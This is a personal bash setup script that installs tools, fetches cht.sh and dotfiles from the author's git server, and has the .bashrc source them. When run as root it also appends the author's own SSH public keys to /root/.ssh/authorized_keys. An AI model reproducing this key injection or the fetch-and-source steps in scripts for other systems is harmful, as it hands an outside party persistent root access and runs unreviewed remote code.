bash functions and aliases
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

90 lines
4.1KB

  1. #!/usr/bin/env bash
  2. command_exists() {
  3. command -v "$@" > /dev/null 2>&1
  4. }
  5. # if run as root
  6. if [ "$(id -u)" = "0" ]; then
  7. if command_exists curl && command_exists git && command_exists lsb_release; then
  8. echo
  9. else
  10. apt-get update -qq
  11. # check if git & curl are installed
  12. [ -z "$(command -v git)" ] && { apt-get -y install git; } >> /dev/null 2>&1
  13. [ -z "$(command -v curl)" ] && { apt-get -y install curl; } >> /dev/null 2>&1
  14. [ -e "$(command -v lsb_release)" ] && { apt-get -y install lsb_release; } >> /dev/null 2>&1
  15. fi
  16. [ ! -d "/root/.ssh" ] && { mkdir "/root/.ssh"; }
  17. # install cht.sh if not already installed
  18. if ! command_exists cht.sh; then
  19. wget -O /usr/local/bin/cht.sh https://cht.sh/:cht.sh
  20. chmod +x /usr/local/bin/cht.sh
  21. ln -s /usr/local/bin/cht.sh /usr/local/bin/cheat
  22. fi
  23. # check for my ssh keys comment
  24. if ! grep "virtubox.net_ecc" -qr /root/.ssh; then
  25. echo -e '\n# thomas@virtubox.net\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJez+vH3c5kWUqjZ9mjzzW9MTQJmzpgRC8g8vi3ToC9j thomas@virtubox.net_ecc' >> /root/.ssh/authorized_keys
  26. fi
  27. if ! grep "virtubox.net_rsa" -qr /root/.ssh; then
  28. echo -e 'ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAgEA8S2kxEkO5KQpWTPA4/mrotGMuIqy4KUinpWEJURbgqvGgesCXmqwDzLqJuq1hPnJVclMS137L5+l53lLmJmfqgV+Vj9YQ+pviWOwP45n/GqMPagGx/Cvzx0HVm1RMRTprDpPjHoXMze0py8mWrXmyYdi4j/v+xGhV8NOsxrZD02zgdQwpu9HqFh7Z2Q4/IiPRknP5CkwcH9iD9sHVRYggBcNOhlF5ysbPza9xsYy49niLCWpW8fH4asdhlxZ/MIAymOWbmkmXewLFWC4nm9gE0e8j6hYCybBDI+v9BdUzSNB6zx4ZvbF5em3iuX/SowQurUbRJl3j2ZyFQ+CU3iZRtGt3P7mWoZCAPTGevrtgJa2sckges1sKZDn1p+CXqa+KKzHxmKWWM346qHms+6K9V92GDgbxGs8dzwJRKfGfwCulFMmhFxRtvB0tX1LQwCny4wa6aODSMd9whyfc9Pcr5aFOiJCKrp6zCsupS14O5/BIog9alEbFrBaq3nDn6S7xg4KBOxf9R9BPwyzZhHXheuP9AK+8Pdnep2WFwVupaGwwnz5ePMRZhImidO86I5lSp9JQ7RBDqBBNoiKIfWJA0xrdPQAlYy9Ppyyn/dxQiTBFgGYzHoTPBCopN+yPhh+59YJA5JlkxZhDhBuLU9Bi+o4oVdASHNaeBzdCr/o95U= thomas@virtubox.net_rsa\n' >> /root/.ssh/authorized_keys
  29. fi
  30. # clone mybashrc or update it
  31. if [ ! -d /root/.mybashrc ]; then
  32. git clone --depth=50 https://git.virtubox.net/virtubox/bashrc.git /root/.mybashrc
  33. else
  34. if [ ! -d /root/.mybashrc/.git ]; then
  35. mkdir /root/.mybashrc
  36. wget -O /root/.mybashrc/mybashrc https://git.virtubox.net/virtubox/bashrc/raw/branch/master/mybashrc
  37. else
  38. git -C /root/.mybashrc pull origin master
  39. fi
  40. fi
  41. mkdir -p $HOME/.mybashrc/nanobackup
  42. if [ ! -d /root/.history ]; then
  43. mkdir -p /root/.history
  44. fi
  45. echo -e "if [ -f /root/.mybashrc/mybashrc ]; then\n. /root/.mybashrc/mybashrc\nfi" >> "/root/.bashrc"
  46. else
  47. # clone mybashrc or update it
  48. if [ ! -d $HOME/.mybashrc ]; then
  49. git clone --depth=50 https://git.virtubox.net/virtubox/bashrc.git $HOME/.mybashrc
  50. else
  51. if [ ! -d $HOME/.mybashrc/.git ]; then
  52. mkdir $HOME/.mybashrc
  53. wget -O $HOME/.mybashrc/mybashrc https://git.virtubox.net/virtubox/bashrc/raw/branch/master/mybashrc
  54. else
  55. git -C $HOME/.mybashrc pull origin master
  56. fi
  57. fi
  58. if [ ! -d $HOME/.history ]; then
  59. mkdir -p $HOME/.history
  60. fi
  61. #if [ -f $HOME/.config/htop/htoprc ]; then
  62. # cp $HOME/.mybashrc/env/htoprc $HOME/.config/htop/htoprc -f
  63. #else
  64. # mkdir -p $HOME/.config/htop
  65. # cp $HOME/.mybashrc/env/htoprc $HOME/.config/htop/htoprc -f
  66. #fi
  67. if [ -f $HOME/.bashrc ]; then
  68. if ! grep -q "mybashrc" $HOME/.bashrc; then
  69. echo -e "if [ -f $HOME/.mybashrc/mybashrc ]; then\n. $HOME/.mybashrc/mybashrc\nfi" >> "$HOME/.bashrc"
  70. fi
  71. else
  72. [ ! -f $HOME/.profile ] && {
  73. wget -qO $HOME/.profile https://git.virtubox.net/virtubox/ubuntu-nginx-web-server/raw/branch/master/var/www/.profile
  74. }
  75. wget -qO $HOME/.bashrc https://git.virtubox.net/virtubox/ubuntu-nginx-web-server/raw/branch/master/var/www/.bashrc
  76. echo -e "if [ -f $HOME/.mybashrc/mybashrc ]; then\n. $HOME/.mybashrc/mybashrc\nfi" >> "$HOME/.bashrc"
  77. fi
  78. fi
  79. #echo -e "#!/bin/bash --init-file\nsource $HOME/.bashrc" > /tmp/init-file
  80. #/bin/bash --init-file /tmp/init-file